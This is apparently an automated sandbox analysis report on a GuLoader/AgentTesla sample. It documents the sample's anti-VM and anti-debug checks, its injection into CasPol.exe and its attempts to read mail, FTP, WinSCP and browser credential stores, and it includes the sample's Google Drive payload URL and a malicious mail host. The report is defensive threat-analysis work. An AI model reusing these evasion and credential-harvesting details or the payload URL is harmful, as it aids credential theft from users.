Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEP
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3432	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4904	Thread sleep time: -4611686018427385s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_033CCB37 rdtsc

1_2_033CCB37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Window / User API: threadDelayed 9376

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405D74
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040290B FindFirstFileW,	1_2_0040290B
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040699E FindFirstFileW,FindClose,	1_2_0040699E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	API call chain: ExitProcess graph end node			graph_1-10587
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	API call chain: ExitProcess graph end node			graph_1-10368

Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E
Source: CasPol.exe, 00000003.00000002.20371041773.0000000000E53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000003.00000003.15865384687.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17013199114.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20371570686.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15971915089.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dll
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137436673.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20370411559.0000000000CD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exep
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16137797013.0000000005019000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: FRACCIONAMIENTO 1722403906461L.exe, 00000001.00000002.16135483008.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: CasPol.exe, 00000003.00000002.20373446700.0000000002A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_71311BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_71311BFF

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Code function: 1_2_033CCB37 rdtsc

1_2_033CCB37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3F47 mov eax, dword ptr fs:[00000030h]	1_2_033D3F47
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FB4 mov ebx, dword ptr fs:[00000030h]	1_2_033D3FB4
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D93AE mov eax, dword ptr fs:[00000030h]	1_2_033D93AE
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FA0 mov ebx, dword ptr fs:[00000030h]	1_2_033D3FA0
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3FA0 mov eax, dword ptr fs:[00000030h]	1_2_033D3FA0
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D0388 mov eax, dword ptr fs:[00000030h]	1_2_033D0388
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D660E mov eax, dword ptr fs:[00000030h]	1_2_033D660E
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3E0A mov eax, dword ptr fs:[00000030h]	1_2_033D3E0A
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3E6A mov eax, dword ptr fs:[00000030h]	1_2_033D3E6A
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3EFF mov eax, dword ptr fs:[00000030h]	1_2_033D3EFF
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D3DE4 mov eax, dword ptr fs:[00000030h]	1_2_033D3DE4
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D8DDC mov eax, dword ptr fs:[00000030h]	1_2_033D8DDC
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4012 mov ebx, dword ptr fs:[00000030h]	1_2_033D4012
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_033D4081 mov ebx, dword ptr fs:[00000030h]	1_2_033D4081

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 3_2_00ADB910 LdrInitializeThunk,

3_2_00ADB910

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: BC0000

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

1_2_00403640

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3292, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3292, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 3292, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	1 Windows Service	1 Access Token Manipulation	1 Obfuscated Files or Information	1 Credentials in Registry	117 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Windows Service	1 DLL Side-Loading	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	111 Process Injection	341 Virtualization/Sandbox Evasion	NTDS	431 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	124 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	111 Process Injection	Cached Domain Credentials	341 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FRACCIONAMIENTO 1722403906461L.exe	28%	Virustotal		Browse
FRACCIONAMIENTO 1722403906461L.exe	13%	ReversingLabs	Win32.Downloader.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3.crl0	0%	Virustotal		Browse
http://www.certplus.com/CRL/class3.crl0	0%	Avira URL Cloud	safe
http://www.e-me.lv/repository0	1%	Virustotal		Browse
http://www.e-me.lv/repository0	0%	Avira URL Cloud	safe
http://www.acabogacia.org/doc0	0%	Virustotal		Browse
http://www.acabogacia.org/doc0	0%	Avira URL Cloud	safe
http://crl.chambersign.org/chambersroot.crl0	0%	Avira URL Cloud	safe
http://ocsp.suscerte.gob.ve0	0%	Avira URL Cloud	safe
http://www.postsignum.cz/crl/psrootqca2.crl02	0%	Avira URL Cloud	safe
http://crl.dhimyotis.com/certignarootca.crl0	0%	Avira URL Cloud	safe
http://www.mesince.com/policy/0	0%	Avira URL Cloud	safe
http://www.chambersign.org1	0%	Avira URL Cloud	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	Avira URL Cloud	safe
http://www.suscerte.gob.ve/lcr0#	0%	Avira URL Cloud	safe
http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-c/cacrl.crl0	0%	Avira URL Cloud	safe
http://postsignum.ttc.cz/crl/psrootqca2.crl0	0%	Avira URL Cloud	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	Avira URL Cloud	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	Avira URL Cloud	safe
http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3P.crl0	0%	Avira URL Cloud	safe
http://GeLRtI.com	0%	Avira URL Cloud	safe
http://www.suscerte.gob.ve/dpc0	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crl0	0%	Avira URL Cloud	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	Avira URL Cloud	safe
http://www.defence.gov.au/pki0	0%	Avira URL Cloud	safe
http://www.sk.ee/cps/0	0%	Avira URL Cloud	safe
http://www.globaltrust.info0=	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	Avira URL Cloud	safe
http://policy.camerfirma.com0	0%	Avira URL Cloud	safe
http://www.ssc.lt/cps03	0%	Avira URL Cloud	safe
http://ocsp.pki.gva.es0	0%	Avira URL Cloud	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	0%	Avira URL Cloud	safe
http://ca.mtin.es/mtin/ocsp0	0%	Avira URL Cloud	safe
http://cps.letsencrypt.org0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-b/cacrl.crl0	0%	Avira URL Cloud	safe
http://web.ncdc.gov.sa/crl/nrcacomb1.crl0	0%	Avira URL Cloud	safe
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	0%	Avira URL Cloud	safe
https://wwww.certigna.fr/autorites/0m	0%	Avira URL Cloud	safe
http://www.dnie.es/dpc0	0%	Avira URL Cloud	safe
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	Avira URL Cloud	safe
http://ca.mtin.es/mtin/DPCyPoliticas0	0%	Avira URL Cloud	safe
http://www.globaltrust.info0	0%	Avira URL Cloud	safe
http://ac.economia.gob.mx/last.crl0G	0%	Avira URL Cloud	safe
https://www.catcert.net/verarrel	0%	Avira URL Cloud	safe
http://www.disig.sk/ca0f	0%	Avira URL Cloud	safe
http://www.sk.ee/juur/crl/0	0%	Avira URL Cloud	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	Avira URL Cloud	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	Avira URL Cloud	safe
http://certs.oati.net/repository/OATICA2.crl0	0%	Avira URL Cloud	safe
http://crl.oces.trust2408.com/oces.crl0	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://crl.ssc.lt/root-a/cacrl.crl0	0%	Avira URL Cloud	safe
http://jimmac.musichall.czif	0%	Avira URL Cloud	safe
http://certs.oaticerts.com/repository/OATICA2.crl	0%	Avira URL Cloud	safe
http://www.trustdst.com/certificates/policy/ACES-index.html0	0%	Avira URL Cloud	safe
http://certs.oati.net/repository/OATICA2.crt0	0%	Avira URL Cloud	safe
http://www.accv.es00	0%	Avira URL Cloud	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	Avira URL Cloud	safe
https://www.netlock.net/docs	0%	Avira URL Cloud	safe
http://www.e-trust.be/CPS/QNcerts	0%	Avira URL Cloud	safe
http://ocsp.ncdc.gov.sa0	0%	Avira URL Cloud	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	Avira URL Cloud	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	Avira URL Cloud	safe
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	0%	Avira URL Cloud	safe
http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;	0%	Avira URL Cloud	safe
http://mail.ferdi.hu	0%	Avira URL Cloud	safe
https://repository.luxtrust.lu0	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	Avira URL Cloud	safe
http://www.acabogacia.org0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.174	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.97	true	false	high
mail.ferdi.hu	185.51.191.23	true	true	unknown
doc-0c-74-docs.googleusercontent.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.certplus.com/CRL/class3.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.e-me.lv/repository0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.acabogacia.org/doc0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.chambersign.org/chambersroot.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.suscerte.gob.ve0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.postsignum.cz/crl/psrootqca2.crl02	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/ce.a2	CasPol.exe, 00000003.00000003.15971309343.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970658357.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl0	CasPol.exe, 00000003.00000003.17281550265.00000000201D7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mesince.com/policy/0	FRACCIONAMIENTO 1722403906461L.exe	false	Avira URL Cloud: safe	unknown
http://www.chambersign.org1	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pkioverheid.nl/policies/root-policy0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
